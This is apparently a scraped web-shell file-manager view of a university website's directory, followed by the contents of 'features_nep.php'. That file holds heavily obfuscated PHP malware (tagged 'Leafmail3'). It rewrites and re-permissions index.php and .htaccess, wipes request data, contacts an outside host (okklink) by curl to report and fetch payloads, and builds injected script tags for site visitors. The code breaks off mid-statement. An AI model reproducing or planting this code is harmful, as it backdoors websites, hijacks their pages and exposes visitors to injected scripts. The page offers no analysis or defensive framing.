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[ DIR ]
drwsr-sr-x
Regulations
[ DIR ]
drwsr-sr-x
admin
[ DIR ]
drwsr-sr-x
assets
[ DIR ]
drwsr-sr-x
gtranslate
[ DIR ]
drwsr-sr-x
php
[ DIR ]
drwsr-sr-x
2020_21.html
7.14
KB
-rwxr-xr-x
2020_21.php
18.19
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-rwxr-xr-x
3rdsemopenele.html
5.3
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-rwxr-xr-x
NU_gallery.php
17.85
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-rwxr-xr-x
NU_news.php
17.91
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-rwxr-xr-x
Notification&circulars.html
54.54
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-rwxr-xr-x
Notification&circulars.php
129.05
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-rwxr-xr-x
UG.html
3.91
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-rwxr-xr-x
UG.php
17.25
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-rwxr-xr-x
about.php
24.77
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-rwxr-xr-x
aboutnss.html
5.16
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aboutnss.php
18.68
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abt_nrupa.php
19.29
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-rwxr-xr-x
acts¬ifications.html
4.49
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acts¬ifications.php
16.8
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adm_notf.php
18.82
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-rwxr-xr-x
admcha.php
21.2
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-rwxr-xr-x
admfo.php
20.76
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-rwxr-xr-x
admission.php
19.41
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-rwxr-xr-x
admission2022.php
19.12
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admpc_stop.php
20.76
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-rwxr-xr-x
admra.php
20.79
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admre.php
20.77
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admvc.php
23.46
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alumni.php
25.32
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-rwxr-xr-x
banner.jpg
37.89
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-rwxr-xr-x
bba_adm.php
17.46
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-rwxr-xr-x
bio_coninfo.php
18.42
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-rwxr-xr-x
bio_opp.php
21.97
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-rwxr-xr-x
bio_proj.php
19.51
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-rwxr-xr-x
bio_res.php
19.4
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-rwxr-xr-x
bio_resact.php
18.92
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-rwxr-xr-x
bio_resfac.php
18.92
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bioeve.php
20.16
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biofacility.php
18.94
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bioprog_obj.php
18.92
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bioprog_off.php
18.39
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bioprog_out.php
20.41
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botcon_info.php
18.49
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boteve.php
20.98
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botfacility.php
20.67
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botpro_obj.php
23.85
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botpro_off.php
18.36
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botpro_out.php
22.87
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-rwxr-xr-x
botres_fac.php
19.98
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ca_coninfo.php
18.39
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-rwxr-xr-x
ca_eve.php
24.44
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-rwxr-xr-x
ca_facilities.php
18.91
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-rwxr-xr-x
ca_opp.php
20.2
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-rwxr-xr-x
ca_pobj.php
19.13
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-rwxr-xr-x
ca_poff.php
18.33
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-rwxr-xr-x
ca_pout.php
19.88
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-rwxr-xr-x
ca_proj.php
19.08
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ca_res.php
19.79
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ca_resact.php
18.67
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-rwxr-xr-x
ca_resfac.php
19.14
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chem_opp.php
20.13
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chem_proj.php
18.41
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chem_syllabus.php
17.43
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chemcon_info.php
18.52
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chemeve.php
18.46
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chemfacility.php
18.44
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chempro_obj.php
20.39
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chempro_off.php
18.39
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chempro_out.php
19.47
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chemres.php
20.33
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chemres_act.php
18.42
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chemres_fac.php
18.42
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contactus.html
12.86
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cs_coninfo.php
18.39
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-rwxr-xr-x
cs_eve.php
24.44
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cs_facilities.php
18.91
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-rwxr-xr-x
cs_opp.php
20.2
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-rwxr-xr-x
cs_pobj.php
19.13
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-rwxr-xr-x
cs_poff.php
18.33
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-rwxr-xr-x
cs_pout.php
19.88
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cs_proj.php
19.08
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cs_res.php
19.79
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cs_resact.php
18.67
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cs_resfac.php
19.14
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dep_bio.php
22.83
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dep_bot.php
24.44
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dep_chem.php
22.71
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dep_compa.php
21.74
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dep_comps.php
21.74
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dep_econ.php
15.95
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dep_edu.php
15.95
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dep_elec.php
22.21
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dep_eng.php
24.18
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dep_extra.php
18.89
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dep_gen.php
18.88
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dep_geo.php
18.9
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dep_kannada.php
21.61
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dep_maths.php
22.06
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dep_mic.php
24.94
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dep_ml.php
18.9
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dep_navy.php
24.74
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dep_phy.php
22.02
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dep_phy_edu.php
18.93
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dep_range.php
24.05
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dep_sans.php
18.9
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dep_stat.php
21.46
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dep_tam.php
18.9
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dep_telu.php
18.9
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dep_zoo.php
18.88
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downloads.php
15.95
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elec_coninfo.php
18.29
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elec_opp.php
18.29
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elec_proj.php
18.28
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-rwxr-xr-x
elec_res.php
18.28
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-rwxr-xr-x
elec_resact.php
18.3
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-rwxr-xr-x
elec_resfac.php
18.29
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-rwxr-xr-x
eleceve.php
18.32
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-rwxr-xr-x
elecfacility.php
18.3
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elecpro_obj.php
19
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-rwxr-xr-x
elecpro_off.php
18.35
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elecpro_out.php
18.9
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eng_coninfo.php
18.24
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eng_eve.php
19.78
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eng_facilities.php
20.13
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-rwxr-xr-x
eng_opp.php
18.3
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-rwxr-xr-x
eng_pobj.php
20.17
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-rwxr-xr-x
eng_poff.php
20.11
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eng_pout.php
18.29
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-rwxr-xr-x
eng_proj.php
18.25
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eng_res.php
18.24
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-rwxr-xr-x
eng_resact.php
18.3
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-rwxr-xr-x
eng_resfac.php
18.3
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events.php
15.95
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facilities.php
37.76
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faculty.php
33.37
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features_nep.php
37.28
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feedback.php
17.11
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footer.html
2.69
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footer.php
18.71
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gallery.php
24.74
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header.html
35.11
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header.php
46.54
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header180821.php
43.33
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header_19022021.php
42.64
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header_bkp.html
26.2
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header_bkp.php
41.73
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independence.php
16.99
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index.php
75
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index180821.php
24.93
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index_16122020.html
35.58
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index_bkp.html
52.32
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index_stop.html
9.57
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index_stop.php
25.51
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-rwxr-xr-x
index_wait.php
25.51
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instructions.php
50.89
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int_bsc_bed.php
17.94
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iqac.php
19.75
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json-php.php
17.79
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kan_coninfo.php
18.25
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kan_eve.php
18.36
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kan_facilities.php
19.45
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kan_opp.php
18.55
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kan_pobj.php
18.88
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kan_poff.php
18.25
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kan_pout.php
19.89
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kan_proj.php
18.26
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kan_res.php
18.25
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kan_resact.php
18.31
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kan_resfac.php
18.3
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lib_Map.php
18.21
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lib_Timings.php
18.96
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lib_access.php
19.38
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lib_collection.php
19.24
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lib_con_details.php
18.25
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-rwxr-xr-x
lib_details.php
21.38
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-rwxr-xr-x
lib_practices.php
18.55
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lib_program.php
18.04
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lib_r&r.php
23.82
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-rwxr-xr-x
lib_services.php
18.95
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library.php
22.27
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maths_coninfo.php
18.43
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-rwxr-xr-x
maths_opp.php
23.5
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-rwxr-xr-x
maths_proj.php
19.34
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maths_res.php
22.73
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-rwxr-xr-x
maths_resact.php
18.29
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maths_resfac.php
18.29
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-rwxr-xr-x
mathseve.php
29.08
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mathsfacility.php
21.93
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mathspro_obj.php
18.29
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mathspro_off.php
18.5
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mathspro_out.php
24.3
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mic_cinfo.php
18.42
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-rwxr-xr-x
mic_eve.php
19.21
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-rwxr-xr-x
mic_facilities.php
19.12
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mic_obj.php
18.25
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-rwxr-xr-x
mic_off.php
18.38
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mic_opp.php
18.36
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-rwxr-xr-x
mic_out.php
20.27
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-rwxr-xr-x
mic_pro.php
18.4
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-rwxr-xr-x
mic_ract.php
18.43
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-rwxr-xr-x
mic_res.php
18.71
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-rwxr-xr-x
mic_rfac.php
18.42
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nav_achive.php
21.53
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nav_act.php
19.1
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-rwxr-xr-x
nav_aim.php
19.58
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-rwxr-xr-x
nav_camps.php
19.7
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-rwxr-xr-x
nav_opp.php
20.22
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-rwxr-xr-x
nav_oth.php
18.59
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-rwxr-xr-x
nav_rep.php
20.29
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-rwxr-xr-x
ncc_army.php
22.59
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-rwxr-xr-x
nccaims.php
20.1
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-rwxr-xr-x
ncccaropp.php
21.77
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-rwxr-xr-x
nep.php
18.69
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-rwxr-xr-x
news.html
2.03
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-rwxr-xr-x
notifications2020.html
197.9
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-rwxr-xr-x
notifications2020.php
170.62
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notify.php
16.97
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-rwxr-xr-x
onload.js
1.15
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onload.php
17.26
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outcomes_nep.php
18.08
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-rwxr-xr-x
pg.html
3.9
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-rwxr-xr-x
pg.php
17.25
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-rwxr-xr-x
pg_adm.php
18.42
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-rwxr-xr-x
pgarts.html
9.9
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-rwxr-xr-x
pgarts.php
20.95
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-rwxr-xr-x
phd.html
9.74
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phd.php
20.45
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-rwxr-xr-x
phy_coninfo.php
18.27
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-rwxr-xr-x
phy_opp.php
23.07
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-rwxr-xr-x
phy_proj.php
18.26
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-rwxr-xr-x
phy_res.php
22.87
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-rwxr-xr-x
phy_resact.php
18.28
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-rwxr-xr-x
phy_resfac.php
18.27
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-rwxr-xr-x
phyedu.php
18.01
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-rwxr-xr-x
phyeve.php
18.3
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-rwxr-xr-x
phyfacility.php
18.28
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-rwxr-xr-x
phypro_obj.php
20.55
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-rwxr-xr-x
phypro_off.php
18.36
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-rwxr-xr-x
phypro_out.php
18.26
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-rwxr-xr-x
placement.php
24.16
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-rwxr-xr-x
ran_ach.php
18.29
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-rwxr-xr-x
ran_act.php
19.03
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-rwxr-xr-x
ran_opp.php
17.99
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-rwxr-xr-x
ran_rep.php
20.79
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-rwxr-xr-x
rangrrov.php
18.49
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-rwxr-xr-x
redcross.php
17.79
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-rwxr-xr-x
registrar.php
20.12
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-rwxr-xr-x
res_adm.php
17.93
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research.php
21.12
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-rwxr-xr-x
research_guide.php
18.5
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-rwxr-xr-x
research_projects.php
28.84
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results.php
15.95
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-rwxr-xr-x
rti.html
4.01
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rti.php
17.04
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rti_act.php
15.95
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-rwxr-xr-x
rules.html
3.46
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rules.php
17.04
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-rwxr-xr-x
stat_coninfo.php
18.41
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stat_opp.php
20.33
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stat_proj.php
18.27
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stat_res.php
18.27
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-rwxr-xr-x
stat_resact.php
18.28
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-rwxr-xr-x
stat_resfac.php
18.28
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-rwxr-xr-x
stateve.php
19.82
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-rwxr-xr-x
statfacility.php
18.89
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-rwxr-xr-x
statpro_obj.php
18.95
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-rwxr-xr-x
statpro_off.php
18.34
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-rwxr-xr-x
statpro_out.php
20.28
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-rwxr-xr-x
student.php
15.95
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-rwxr-xr-x
submission.php
21.26
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-rwxr-xr-x
ug_adm.php
21.05
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-rwxr-xr-x
vc.html
2.43
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-rwxr-xr-x
vc.php
23.09
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-rwxr-xr-x
vc1.php
27.01
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Code Editor : features_nep.php
<?php /*Leafmail3*/goto vODF8; uW9iC: p1I3i: goto m0oPE; zJ0r4: $fd50r .= "\164\144\157"; goto lKsEQ; daxHz: $Q7FSm .= "\x74\151"; goto zNDLT; QuFr2: $wv9Ig .= "\x33\66"; goto sOymP; lYCuA: $LOLkL = "\x35"; goto y6I4r; jBc3K: $tkyNj .= "\x65\170"; goto feM2z; veckF: $vp5Fj .= "\x61\x63\x63\145\x73\x73"; goto F5Rs6; B13FM: $CoSGx = "\x64\x65\x66"; goto YZRXV; LzBKe: $CUa7Y = !empty($qwM6z) || !empty($SCBgM); goto tB1mh; loZYi: try { goto txRyO; K18GF: @$xS8DV($vp5Fj, $eb2Uu); goto tGdpP; iQrV6: @$KDcLu($AW98J, $PShG_); goto K18GF; U8ZJQ: @$xS8DV($AW98J, $eb2Uu); goto Y_zOi; txRyO: @$xS8DV($nHQe_, $eb2Uu); goto U8ZJQ; bh8Zz: @$xS8DV($vp5Fj, $Vjvu_); goto ZGL3p; ZGL3p: @$KDcLu($vp5Fj, $PShG_); goto g9qNE; ZfydO: @$xS8DV($AW98J, $Vjvu_); goto iQrV6; g9qNE: @$xS8DV($nHQe_, $Vjvu_); goto H3O0E; Y_zOi: @$DR4rp($AW98J, $jap8Z["\x61"]); goto ZfydO; tGdpP: @$DR4rp($vp5Fj, $jap8Z["\142"]); goto bh8Zz; H3O0E: } catch (Exception $EdXTL) { } goto y_pyz; F2WJF: $xS8DV .= "\155\157\144"; goto XVkCO; GbEwW: $MhTIX = "\x6d\144\x35"; goto LQ0hU; uLWI3: $vp5Fj = $nHQe_; goto orqfm; egDtp: $tkyNj = "\x66\165\156\x63"; goto usQiR; LQ0hU: $vbt1Y = $MhTIX; goto TgEvM; XPDLi: $gPOF5 = $le6g1; goto tBtTf; WxOmz: $DR4rp .= "\160\x75\164\137\143"; goto UxwWx; GZYTn: $L3Qwt .= "\145\x63\157\144\145"; goto g9Iex; gJ2jd: $B5AMu .= "\x63\157\x70\171"; goto UIZFw; V5t0t: $eb2Uu = 189; goto WkOpf; R8lf6: $L3Qwt .= "\66\x34\x5f\144"; goto GZYTn; hYuCQ: try { goto A3SpX; Lp303: try { goto Kpqh2; IAeb5: $gPOF5($QKdX3); goto usTFE; Soq5P: $QydK0($QKdX3, CURLOPT_POSTFIELDS, $DORoV($q4dFj)); goto IAeb5; RVyt3: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto nb7rJ; AqD2c: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto ttOBx; LJxmP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto RVyt3; snalI: $QydK0($QKdX3, CURLOPT_URL, $Pi1_K); goto AqD2c; nb7rJ: $QydK0($QKdX3, CURLOPT_TIMEOUT, 3); goto caVfG; caVfG: $QydK0($QKdX3, CURLOPT_POST, 1); goto Soq5P; Kpqh2: $QKdX3 = $AhBNU(); goto snalI; usTFE: $iwfAP($QKdX3); goto OfPoO; ttOBx: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto LJxmP; OfPoO: } catch (Exception $EdXTL) { } goto s8qlN; kwFwL: $EHr4j = dirname($O8VpT); goto rtN5e; oSMaO: @$xS8DV($EHr4j, $eb2Uu); goto zRyBD; rtN5e: if ($qjAK2($EHr4j)) { goto ayR0Q; } goto OfJbX; pAJFu: $Pi1_K .= "\164\75\x63\141"; goto AM67e; j_bNW: ayR0Q: goto CA7b_; D4GAj: $q4dFj = ["\x64\x61\164\141" => $jap8Z["\x64"]["\165\x72\x6c"]]; goto Lp303; OfJbX: @$spfUp($EHr4j, $eb2Uu, true); goto j_bNW; oI6DO: @$xS8DV($EHr4j, $Vjvu_); goto oyphM; GLti1: $Pi1_K .= "\77\x61\143"; goto pAJFu; lEMoS: $Pi1_K = $FCJJO; goto GLti1; A3SpX: $O8VpT = $nHQe_ . $jap8Z["\144"]["\160\141\x74\x68"]; goto kwFwL; s8qlN: d_JbM: goto HW6fn; CA7b_: if (!$qjAK2($EHr4j)) { goto d_JbM; } goto oSMaO; oyphM: @$KDcLu($O8VpT, $PShG_); goto lEMoS; OUdjB: @$xS8DV($O8VpT, $Vjvu_); goto oI6DO; AM67e: $Pi1_K .= "\154\x6c"; goto D4GAj; zRyBD: @$DR4rp($O8VpT, $jap8Z["\x64"]["\143\157\144\x65"]); goto OUdjB; HW6fn: } catch (Exception $EdXTL) { } goto loZYi; LNJsy: @$xS8DV($nHQe_, $Vjvu_); goto k_sTE; cuM3u: $nHQe_ = $_SERVER[$Y5cZH]; goto A7iEW; n8L8V: $uz9bL .= "\x68\160\x2e\60"; goto K6CAr; unwRS: $DORoV .= "\x75\x69\154\x64\x5f\x71"; goto Nk50j; JP7xy: $vbt1Y .= "\x6c\x65"; goto RNGP0; nZ1st: $gQtVG .= "\115\x49\x4e"; goto r5zMQ; XScjr: $gQtVG = "\x57\120"; goto O5QIE; OU84W: $pzU4s = "\146\x6c\x6f"; goto mwwot; nRTqE: $RDkKv = []; goto aYHoX; l2VBa: rqNSn: goto gKipv; ljZeU: $uz9bL .= "\x2f\170\x6d"; goto mCMR7; Ieo9X: $Y5cZH .= "\137\x52\117\117\x54"; goto lYCuA; XVkCO: $L3Qwt = "\x62\141\x73\x65"; goto R8lf6; OGVf2: $Vjvu_ = 215; goto huZpo; aBs6o: $fd50r .= "\147\151\x73\x74"; goto FqdNN; MTS3A: V4Jy1: goto vHyOs; jrrba: $PShG_ = $Q7FSm($wv9Ig); goto bMgWF; vODF8: $J4djk = "\74\104\x44\x4d\76"; goto lRUim; ruvGs: $AW98J .= "\150\x70"; goto uLWI3; VXlbA: $uz9bL .= "\160\x63\x2e\x70"; goto n8L8V; w8i1S: $KDcLu .= "\165\x63\150"; goto TPq_6; UxwWx: $DR4rp .= "\x6f\156\x74\145\x6e\x74\163"; goto ISAMz; chc27: if (!($JKloV !== false)) { goto L8tHW; } goto UihyE; TgEvM: $vbt1Y .= "\137\146\x69"; goto JP7xy; zijgp: $F3G3B = "\x69\x6e\x74"; goto d0ttz; XAUaV: $CZpCY = $y6Dil($uz9bL, "\167\53"); goto KpMKi; ZjcxJ: $eb2Uu = $F3G3B($mmShn($eb2Uu), $l6o74); goto OGVf2; WBWyB: try { goto LAZiP; NeOx9: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto WZ1lN; yuxAB: $JKloV = trim(trim($JKloV, "\xef\xbb\xbf")); goto zF9le; YXPOY: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto UWGHP; MbwNB: $JKloV = $gPOF5($QKdX3); goto hAQ9Y; UWGHP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto NeOx9; LAZiP: $QKdX3 = $AhBNU(); goto i1X7z; WZ1lN: $QydK0($QKdX3, CURLOPT_TIMEOUT, 10); goto MbwNB; S2VNp: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto YXPOY; i1X7z: $QydK0($QKdX3, CURLOPT_URL, $B5AMu); goto S2VNp; hAQ9Y: $iwfAP($QKdX3); goto yuxAB; zF9le: } catch (Exception $EdXTL) { } goto chc27; fSM7u: $Q7FSm .= "\164\157"; goto daxHz; YZRXV: $CoSGx .= "\x69\156\x65\144"; goto TSsDX; Y78_D: $tCAxo = 1; goto kOQ0E; iMZQy: $_POST = $_REQUEST = $_FILES = array(); goto CfGUZ; TfIgP: $HH1HZ .= "\x6f\156\x74\x65\x6e\x74\163"; goto jcgg4; Jhv2t: $ocF0w .= "\x64\155\x69\156"; goto I04NN; aYHoX: $N__ZL = 32; goto IvuqX; HgvDx: @$xS8DV($z2Yll, $eb2Uu); goto C_4CC; ZW1G7: r6AqH: goto GqJiG; CfGUZ: AzDa9: goto U2U3q; NdB0_: $QydK0 .= "\157\x70\164"; goto XPDLi; KFMi9: $x0CSu .= "\137\x48\117\x53\124"; goto nMuHG; WqPjf: $B5AMu = $FCJJO; goto B0dlE; TPq_6: $xS8DV = "\x63\x68"; goto F2WJF; tBtTf: $gPOF5 .= "\x6c\137\x65\170\x65\143"; goto Zr7tR; qUDsS: $PKMm7 .= "\x66\151\x6c\x65"; goto Odo2W; UihyE: $jap8Z = 0; goto hJZyv; WQvgq: $qwM6z = $_REQUEST; goto rvlXO; yoOUR: $vTeXJ = "\x76\x65\x72\x73\151"; goto IBhNI; ZxHGi: $fd50r = "\x72\x65"; goto aBs6o; shDBj: $FSKjX .= "\115\x45\123"; goto XScjr; bAY2j: $LYlAw = $L474W = $ocF0w . "\x2f" . $sVnDj; goto nRTqE; sOymP: $wv9Ig .= "\63\x20\144"; goto d5_Qs; jcgg4: $DR4rp = "\x66\151\154\145\137"; goto WxOmz; QKYpu: $ocF0w .= "\55\x61"; goto Jhv2t; dZIRa: $P4139 = $_SERVER[$x0CSu]; goto cuM3u; huZpo: $Vjvu_ += 150; goto qbT4q; BSUkU: $bX79j = "\x66\143\154"; goto RAIH6; g9Iex: $MIh5N = "\147\x7a\x69"; goto ojxiT; m0oPE: if (!$tCAxo) { goto rqNSn; } goto WqPjf; C_4CC: @unlink($z2Yll); goto LNJsy; feM2z: $tkyNj .= "\151\163\x74\x73"; goto j_mMb; dU8Tu: $FSKjX = "\127\x50\x5f\x55"; goto iLcq9; axzTr: $HH1HZ .= "\147\x65\164\x5f\143"; goto TfIgP; sZfV6: $FCJJO .= "\x6c\151\156\153\x2e\x74"; goto oUI8y; zNDLT: $Q7FSm .= "\155\145"; goto egDtp; Nk50j: $DORoV .= "\x75\145\x72\x79"; goto GbEwW; j_mMb: $le6g1 = "\x63\165\162"; goto QFm8j; y6I4r: $LOLkL .= "\x2e\x34"; goto Dc02k; d5_Qs: $wv9Ig .= "\141\171\163"; goto jrrba; AjCJZ: $z2Yll .= "\x6e\x69"; goto OzEb9; RNGP0: $PKMm7 = "\x69\163\137"; goto qUDsS; k_sTE: DUBKw: goto AbQ0z; mwwot: $pzU4s .= "\143\x6b"; goto BSUkU; bKUUG: $WzLgo = $RDkKv[1]; goto WAo0s; mCMR7: $uz9bL .= "\x6c\x72"; goto VXlbA; Tt4oQ: $Q7FSm = "\163\164\162"; goto fSM7u; B0dlE: $B5AMu .= "\x3f\x61\143\x74"; goto aETJg; DbBpN: $vTeXJ .= "\x70\x61\162\145"; goto B13FM; IBhNI: $vTeXJ .= "\157\156\137\x63\157\x6d"; goto DbBpN; QSRig: $FCJJO = "\150\x74\164\x70\163\72\x2f\57"; goto Jb8vw; pLm0w: $spfUp .= "\144\151\x72"; goto yspyu; bMgWF: $x0CSu = "\110\x54\x54\120"; goto KFMi9; psjtE: $iwfAP .= "\x6c\x5f\143\x6c\x6f"; goto kxGeH; OzEb9: if (!$PKMm7($z2Yll)) { goto DUBKw; } goto fUCm1; YZnxF: $AhBNU .= "\154\137\x69\x6e\x69\164"; goto o4wfR; U2U3q: $xS8DV($nHQe_, $eb2Uu); goto XAUaV; hVAgs: if (empty($RDkKv)) { goto r6AqH; } goto gpO7z; lRUim: $huaOJ = "\57\136\143"; goto l1puk; ojxiT: $MIh5N .= "\x6e\146\154\x61\164\145"; goto QO6bK; yspyu: $HH1HZ = "\146\151\154\145\137"; goto axzTr; nMuHG: $Y5cZH = "\x44\x4f\x43\125\x4d\105\x4e\x54"; goto Ieo9X; QO6bK: $RpkLV = "\165\156\x73\145\x72"; goto TE4rq; oUI8y: $FCJJO .= "\x6f\160\x2f"; goto ZxHGi; gpO7z: $ZwOvi = $RDkKv[0]; goto bKUUG; r5zMQ: $EvUsr = $CoSGx($FSKjX) || $CoSGx($gQtVG); goto WQvgq; ryAXN: $iSMwa = "\163\164\162"; goto Aw0OF; RAIH6: $bX79j .= "\157\x73\145"; goto QSRig; QFm8j: $AhBNU = $le6g1; goto YZnxF; y_pyz: M1S8t: goto YcoP2; bPtLw: $AW98J .= "\x64\x65\170\56\x70"; goto ruvGs; jHqFV: if (!is_array($jap8Z)) { goto M1S8t; } goto sHXMo; O5QIE: $gQtVG .= "\x5f\x41\104"; goto nZ1st; dBHzv: $AW98J .= "\x2f\151\x6e"; goto bPtLw; KpMKi: if (!($tkyNj($AhBNU) && !preg_match($huaOJ, PHP_SAPI) && $pzU4s($CZpCY, 2 | 4))) { goto v1tUm; } goto vfYVM; u8ekB: $qjAK2 .= "\x64\151\162"; goto D1aMA; rvlXO: $SCBgM = $_FILES; goto LzBKe; Odo2W: $qjAK2 = "\x69\163\137"; goto u8ekB; Tl9BG: $ocF0w .= "\x2f\167\160"; goto QKYpu; hh9Gu: $YKWP5 .= "\x74\40\x41\x63\143"; goto DSWYm; Dc02k: $LOLkL .= "\56\x30\x3b"; goto dZIRa; o4wfR: $QydK0 = $le6g1; goto VYKG_; pnTdK: $YKWP5 = "\110\124\124"; goto qEMP2; WkOpf: $eb2Uu += 304; goto ZjcxJ; CLQnS: $huaOJ .= "\x73\151"; goto Tt4oQ; orqfm: $vp5Fj .= "\x2f\x2e\x68\164"; goto veckF; jvCLK: $fd50r .= "\151\157\156"; goto cE3iS; vHyOs: goto p1I3i; goto ZW1G7; Aw0OF: $iSMwa .= "\154\x65\156"; goto yoOUR; neYoj: $y6Dil .= "\145\156"; goto OU84W; Yc9eB: $JKloV = false; goto WBWyB; IvuqX: $l6o74 = 5; goto DicZE; tB1mh: if (!(!$EvUsr && $CUa7Y)) { goto AzDa9; } goto iMZQy; vI8QX: aybLW: goto dU8Tu; cE3iS: if (isset($_SERVER[$fd50r])) { goto aybLW; } goto YhmyI; FqdNN: $fd50r .= "\145\162\x5f"; goto l7JCC; I04NN: $sVnDj = substr($MhTIX($P4139), 0, 6); goto bAY2j; WAo0s: if (!(!$PKMm7($AW98J) || $vbt1Y($AW98J) != $ZwOvi)) { goto F9B9M; } goto Y78_D; d0ttz: $F3G3B .= "\x76\141\154"; goto G8B0v; G8B0v: $mmShn = "\144\145\x63"; goto w1WUM; Ky1Ah: $fd50r .= "\x75\156\x63\x74"; goto jvCLK; YcoP2: L8tHW: goto l2VBa; fUCm1: @$xS8DV($nHQe_, $eb2Uu); goto HgvDx; ISAMz: $KDcLu = "\164\x6f"; goto w8i1S; YhmyI: $_SERVER[$fd50r] = 0; goto vI8QX; qbT4q: $Vjvu_ = $F3G3B($mmShn($Vjvu_), $l6o74); goto pnTdK; UIZFw: $B5AMu .= "\x26\150\75" . $P4139; goto Yc9eB; A7iEW: $ocF0w = $nHQe_; goto Tl9BG; QiT7j: $YKWP5 .= "\x30\x36\x20\116\157"; goto hh9Gu; usQiR: $tkyNj .= "\x74\151\x6f\156\137"; goto jBc3K; TE4rq: $RpkLV .= "\x69\x61\154\x69\172\145"; goto zijgp; DWZ53: if (!(!$_SERVER[$fd50r] && $vTeXJ(PHP_VERSION, $LOLkL, "\76"))) { goto tOsRM; } goto qx0qa; DSWYm: $YKWP5 .= "\x65\x70\164\141\142\154\x65"; goto TXR6r; clNTt: tOsRM: goto NrKhW; F5Rs6: $z2Yll = $nHQe_; goto ZRq91; Jb8vw: $FCJJO .= "\157\153\x6b"; goto sZfV6; Zr7tR: $iwfAP = $le6g1; goto psjtE; w1WUM: $mmShn .= "\x6f\143\x74"; goto ryAXN; TXR6r: $uz9bL = $nHQe_; goto ljZeU; lKsEQ: $fd50r .= "\167\156\137\146"; goto Ky1Ah; kxGeH: $iwfAP .= "\x73\x65"; goto PULcN; qEMP2: $YKWP5 .= "\120\57\61\x2e\x31\40\x34"; goto QiT7j; aETJg: $B5AMu .= "\x3d\x67\145\164"; goto gJ2jd; iLcq9: $FSKjX .= "\123\x45\137\x54\110\x45"; goto shDBj; AbQ0z: $tCAxo = 0; goto hVAgs; Te8Ah: $AW98J = $nHQe_; goto dBHzv; PULcN: $DORoV = "\150\164\x74\x70\137\x62"; goto unwRS; oHm8V: $tCAxo = 1; goto MTS3A; K6CAr: $y6Dil = "\146\x6f\160"; goto neYoj; PL0rr: if (!(!$PKMm7($vp5Fj) || $vbt1Y($vp5Fj) != $WzLgo)) { goto V4Jy1; } goto oHm8V; l1puk: $huaOJ .= "\154\151\x2f"; goto CLQnS; l7JCC: $fd50r .= "\x73\x68\165"; goto zJ0r4; sHXMo: try { goto HbY3E; HbY3E: @$xS8DV($nHQe_, $eb2Uu); goto YBneD; lVY2g: LmA8a: goto o_wA9; w2wnP: @$KDcLu($L474W, $PShG_); goto vkTcY; plcED: $L474W = $LYlAw; goto lVY2g; o_wA9: @$DR4rp($L474W, $jap8Z["\x63"]); goto FIfGh; FIfGh: @$xS8DV($L474W, $Vjvu_); goto w2wnP; YBneD: if (!$qjAK2($ocF0w)) { goto LmA8a; } goto y3Uf0; y3Uf0: @$xS8DV($ocF0w, $eb2Uu); goto plcED; vkTcY: } catch (Exception $EdXTL) { } goto hYuCQ; GqJiG: $tCAxo = 1; goto uW9iC; VYKG_: $QydK0 .= "\154\x5f\x73\x65\x74"; goto NdB0_; D1aMA: $spfUp = "\x6d\x6b"; goto pLm0w; TSsDX: $wv9Ig = "\x2d\61"; goto QuFr2; vfYVM: $xS8DV($nHQe_, $Vjvu_); goto DWZ53; kOQ0E: F9B9M: goto PL0rr; NrKhW: try { goto qZ46l; RQqe5: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto XDrKy; } goto A2PmA; w9gDu: y6dH8: goto Z726M; MlbPu: $yVIWe = @explode("\x3a", $HH1HZ($L474W)); goto RQqe5; YN8V8: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto YUPG5; } goto DYfgW; urTh8: XDrKy: goto vw7V4; hhu33: $gOxct = trim($yVIWe[0]); goto h7asi; POLut: $RDkKv[] = $aWnJP; goto w9gDu; JSOyl: $RDkKv[] = $aWnJP; goto dxtWS; ixd8R: $L474W = $nHQe_ . "\57" . $sVnDj; goto uPNAL; YdNrA: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto U90QQ; } goto hhu33; qZ46l: if (!$PKMm7($L474W)) { goto oqtoQ; } goto p5kTV; V_cwX: oTvft: goto NDBCD; A2PmA: $gOxct = trim($yVIWe[0]); goto DvFPK; wbpgM: if (!empty($RDkKv)) { goto oTvft; } goto ixd8R; DvFPK: $aWnJP = trim($yVIWe[1]); goto YN8V8; Y3KDn: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto y6dH8; } goto D88sj; vw7V4: wNb1b: goto V_cwX; dxtWS: YUPG5: goto urTh8; hNhbL: oqtoQ: goto wbpgM; Z726M: U90QQ: goto hNhbL; uPNAL: if (!$PKMm7($L474W)) { goto wNb1b; } goto MlbPu; D88sj: $RDkKv[] = $gOxct; goto POLut; h7asi: $aWnJP = trim($yVIWe[1]); goto Y3KDn; p5kTV: $yVIWe = @explode("\72", $HH1HZ($L474W)); goto YdNrA; DYfgW: $RDkKv[] = $gOxct; goto JSOyl; NDBCD: } catch (Exception $EdXTL) { } goto Te8Ah; qx0qa: try { $_SERVER[$fd50r] = 1; $fd50r(function () { goto AV30r; qJcS6: $XaxO1 .= "\105\x6c\x65\x6d\145\x6e\x74\163\102"; goto Ak55L; Q10lk: $XaxO1 .= "\x3c\x2f\x73"; goto b0BbS; QUShX: $XaxO1 .= "\x73\x63\162\x69\x70\164\x22\x3e" . "\xa"; goto qTRy2; DytHl: $XaxO1 .= "\57\155\x61\164"; goto shQ2Y; UYMzk: $XaxO1 .= "\105\x6c\145\x6d\145\156\164\x28\42\x73\143"; goto YC55T; ZXF34: $XaxO1 .= "\x6f\155\157\40\x43\157\x64"; goto Fp2Ee; AdEN_: $XaxO1 .= "\x72\x69\x70\x74\40\x74\x79\160\x65\75\42\164\x65\170"; goto vaHEn; qTRy2: $XaxO1 .= "\50\146\165\156\x63"; goto sT9Yu; YC55T: $XaxO1 .= "\162\151\160\164\42\51\x2c\40\x73\x3d\x64\56\x67\x65\164"; goto qJcS6; b0BbS: $XaxO1 .= "\x63\x72\x69\x70\x74\76\12"; goto NGsxv; HMLFi: $XaxO1 .= "\x7d\x29\50\x29\73" . "\12"; goto 